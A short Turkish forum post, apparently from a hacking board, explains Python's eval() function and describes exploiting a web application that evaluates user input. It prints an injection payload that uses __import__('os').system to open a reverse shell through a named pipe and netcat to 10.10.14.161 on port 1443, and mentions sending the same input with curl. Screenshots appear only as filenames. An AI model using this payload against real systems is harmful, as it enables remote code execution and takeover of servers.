[HIDE]
Eval() Function ;
Geçenlerde yine bir sistemde rastladım , pythonu web üzerine taşıyıp belli başla işlemler koymuşlar fakat bir açık ortaya çıktığından dolayı filtreleme özelliği koymak istemişler ve burdada eval fonksiyonunu kullanmışlar
önce eval fonksiyonu nedir ona değinelim ;
eval bizim dinamik bir kod yürütmemizi sağlıyacak bir fonksiyondur
üstte toplama işlemi için yapcağımız def olduğunu varsayın genellikle yeni başlıyanlar hesap makinesi fln yaparken kullanıyorlar
inputa girilen değerler anında toplancaktır ve print ile yazılcaktır fakat eval da böyle değildir eval bu değerleri içinde tutar ve siz print demediğiniz sürece toplamaz ve yazdırmaz gibi düşünebilirsiniz
Kod:
while(True): s = raw_input("toplancak değer girin:")
zafiyetin bulunduğu kodu inceliyelim daha iyi anlıcaksınız
eval3.png
if eval() fonksiyonunu gördüğünüzü umuyorum güzel düşünülmüş güzel filtrelenmiş fakat
bunu gördüğümde şu şekilde bir kod kodluyarak kolayca zafiyeti kullanabildim
ezgif.com-gif-maker (1).png
Kod:
brew_dict['abv'] = "__import__('os').system('rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc 10.10.14.161 1443 1>/tmp/backpipe')"
Peki terminal üzerinden nasıl yaparız Tabiki can dostumuz curl >>
ezgif.com-gif-maker (3).png
görebilceğiniz gibi yine aynı şey "abv": '__import__' diye komutumu girmişim .....
canım sıkıldıkca bir şeyler anlatayım bari
[/HIDE]